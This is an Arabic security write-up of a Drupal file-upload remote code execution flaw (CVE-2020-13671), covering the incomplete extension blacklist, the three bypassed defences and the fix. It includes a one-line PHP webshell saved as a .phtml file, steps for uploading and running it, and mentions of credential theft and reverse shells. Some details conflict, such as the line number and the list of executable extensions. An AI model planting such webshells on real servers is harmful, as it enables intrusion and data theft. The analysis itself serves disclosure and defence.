
CVE-2020-13671 - تحليل ثغرة RCE في Drupal عبر رفع الملفات وإثبات المفهوم
البرنامج: نواة Drupal 8.7.5 (الإصدارات المتأثرة: 7.x < 7.78، 8.x < 8.8.11، 8.9.x < 8.9.9، 9.0.x < 9.0.8)
CVSS: 8.8 (عالي)
CWE: CWE-434 — رفع ملفات غير مقيد بنوع خطير
CISA KEV: نعم — ثغرة معروفة ومستغلة
الاستشارة الأمنية: SA-CORE-2020-012
Drupal هو نظام إدارة محتوى (CMS) مفتوح المصدر مكتوب بلغة PHP، مشابه لـ WordPress أو Joomla لكنه يميل نحو بناء أنظمة أكثر تعقيدًا — مواقع المؤسسات، المنصات متعددة اللغات. يعتمد Drupal على بنية معيارية (modular)، تسمح بتوسيع الوظائف عبر تمكين/تعطيل الوحدات المتاحة أو تثبيت وحدات إضافية من المجتمع.
من الوظائف الأساسية لأي CMS السماح للمستخدمين برفع الملفات — الصور الرمزية للملف الشخصي، المستندات المرفقة، المرفقات في المقالات. يحفظ Drupal هذه الملفات في دليل sites/default/files/ ويقدمها مباشرة عبر خادم الويب (Apache أو Nginx).
⇒ هذا يخلق سطح هجوم واضحًا: إذا تمكن المهاجم من رفع ملف PHP إلى ذلك الدليل، فسينفذه خادم الويب عند الوصول إليه عبر طلب وارد.
لمنع ذلك، يبني Drupal طبقات دفاع متعددة: التحقق من امتدادات الملفات، إعادة تسمية الملفات الخطرة، وضع .htaccess لمنع تنفيذ السكربتات في دليل الرفع. لكن في الإصدار 8.7.5، يستغل المهاجمون البقعة العمياء بين هذه الطبقات تحديدًا.
تتطلب هذه الثغرة حسابًا بصلاحيات رفع الملفات. افتراضيًا في Drupal 8.7.5، يملك المستخدمون العاديون (المصادق عليهم) صلاحيات عرض المحتوى ونشر التعليقات فقط — بدون صلاحية إنشاء المقالات أو رفع الملفات.
| الحساب | قابل للاستغلال؟ | التوضيح |
|---|---|---|
| المدير (Admin) | نعم | صلاحيات رفع كاملة |
| المحرر / منشئ المحتوى | نعم | إذا مُنح صلاحية "إنشاء محتوى" مع الرفع من قبل المدير |
| مستخدم مصادق (افتراضي) | لا | افتراضيًا ليس لديه صلاحية إنشاء محتوى أو رفع |
| مجهول (غير مسجل دخول) | لا | لا توجد صلاحية رفع |
لكن عمليًا، تمنح العديد من مواقع Drupal صلاحيات إنشاء المحتوى للمستخدمين العاديين (المنتديات، مدونات المجتمع، مواقع الأخبار التي تسمح بإرسال المقالات). في تلك الحالات، يحتاج المهاجم فقط إلى تسجيل حساب لاستغلالها.
مسار الهجوم:
مهاجم بحساب بصلاحية رفع → إنشاء مقال (Article)
→ رفع webshell.phtml عبر حقل الصورة/المرفقات
→ يحفظ Drupal الملف باسمه الأصلي في sites/default/files/
→ يصل المهاجم إلى رابط الملف → ينفذ Apache ملفات PHP → RCE
في الملف core/modules/file/file.module، يوجد تعبير regex واحد يحدد الملفات التي تُعتبر قابلة للتنفيذ:
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

يسرد هذا التعبير 7 امتدادات: phar، php، pl، py، cgi، asp، js. أي ملف بامتداد يطابق هذه القائمة سيُلحق به .txt تلقائيًا بواسطة Drupal — مما يحيد إمكانية التنفيذ.
لكن محرك PHP لا يعالج ملفات .php فقط. اعتمادًا على إعدادات خادم الويب، فإنه يتعرف أيضًا على امتدادات أخرى وينفذها:
| الامتداد | المعنى | مذكور في التعبير؟ |
|---|---|---|
.php | PHP القياسي | نعم |
.phtml | قالب PHP بديل | لا |
.php5 | معالج PHP 5 | لا |
.pht | قالب PHP | لا |
.phps | كود PHP المصدر | لا |
.shtml | تضمينات الخادم (Server-Side Includes) | لا |
5 متغيرات من امتدادات PHP غائبة تمامًا عن التعبير. هذا يعني أن ملفًا باسم shell.phtml يُرسل إلى Drupal → التعبير لا يطابقه → لا يُعاد تسميته → يُحفظ باسمه الأصلي في دليل الرفع → يرى خادم الويب .phtml → ينفذه كـ PHP → يحقق المهاجم RCE. هذا هو السبب الجذري: استخدم Drupal قائمة سوداء لحظر الامتدادات الخطرة، لكن تلك القائمة كانت غير مكتملة.
عند رفع مستخدم لملف، يمرره Drupal عبر 3 دوال تحقق قبل الحفظ. فيما يلي تحليل لسبب فشل الطبقات الثلاث مع .phtml.
file_munge_filename() (core/includes/file.inc)الغرض: اكتشاف الامتدادات الخطرة الموجودة في منتصف اسم الملف وإلحاق _ لتعطيلها. طريقة عمل الدالة:

$filename_parts = explode('.', $filename); // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension
foreach ($filename_parts as $filename_part) {
// iterate over the MIDDLE parts
// if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;
على سبيل المثال مع shell.phtml:
explode يقسم إلى ["shell", "phtml"]shift يأخذ "shell"، ويبقى ["phtml"]pop يأخذ "phtml"، ويبقى []foreach لا ينفذ"shell.phtml" كما هولكن إذا كان للملف امتداد واحد فقط، فإنها لا تتدخل. وهكذا، صُممت هذه الدالة فقط للتعامل مع الملفات ذات الامتدادات المتعددة.
FILE_INSECURE_EXTENSION_REGEX (file.module:1015)هذه هي طبقة الدفاع الرئيسية. الكود عند السطر 1015:

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
إذا كان اسم الملف يطابق التعبير → يُغيَّر نوع MIME إلى text/plain ويُلحق .txt في النهاية.
مع shell.phtml:
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') يُرجع 0.phtml خطير، فإنه يمر دون اكتشاف..htaccess في دليل الرفعيضع Drupal ملف .htaccess في sites/default/files/:
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
التوجيه php_flag engine off يعطل محرك PHP للدليل بأكمله، لكنه ينطبق فقط على mod_php5. يعمل Drupal 8.7.5 على PHP 7، مما يعني أن mod_php7 هو النشط وغير معطَّل.
كما أن .htaccess لديه 3 نقاط ضعف أخرى:
.htaccess — هذا الملف غير فعّال تمامًا على NginxAllowOverride None → يتم تجاهل .htaccessmod_php → توجيه php_flag ليس له أي تأثيرecho '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
سجّل الدخول إلى Drupal بحساب لديه صلاحيات الرفع → المحتوى ← إضافة محتوى ← مقال → في حقل الصورة، اختر الملف webshell.phtml ← ارفع.
يقبل Drupal الملف، ولا يعيد تسميته، ويحفظه باسمه الأصلي في sites/default/files/.

بعد ذلك، نفّذ استدعاء الصدفة مع whoami:

وهكذا، نجحنا في تحقيق RCE بصلاحيات www-data.
لمزيد من الاختبار لعرض بيانات الاعتماد:

يمكن للمهاجم قراءة settings.php الذي يحتوي على بيانات اعتماد قاعدة البيانات، وتفريغ قاعدة البيانات بالكامل، أو تثبيت ريفرس شل (reverse shell)، أو رفع الصلاحيات إلى root.
تحديث التعبير — إضافة الامتدادات الخمسة المفقودة:
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
تحديث .htaccess — إضافة تعطيل لـ mod_php7:
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
التصحيح يعمل لكنه ما زال يعتمد على قائمة سوداء. إذا ظهرت امتدادات جديدة مستقبلًا (.php8، .phpt)، فسيحتاج التعبير إلى تحديث مجددًا. القائمة البيضاء — السماح فقط بالامتدادات الآمنة المعروفة — ستكون نهجًا أكثر شمولًا.
| الملف المعرض | core/modules/file/file.module السطر 28 |
|---|---|
| السبب الجذري | القائمة السوداء في التعبير تفتقد .phtml، .php5، .pht، .phps، .shtml |
| الأثر | رفع .phtml → ينفذه الخادم → RCE |
| طبقات الدفاع الثلاث التي تم تجاوزها | file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess |
| التصحيح | إضافة 5 امتدادات إلى التعبير + تعطيل mod_php7 في .htaccess |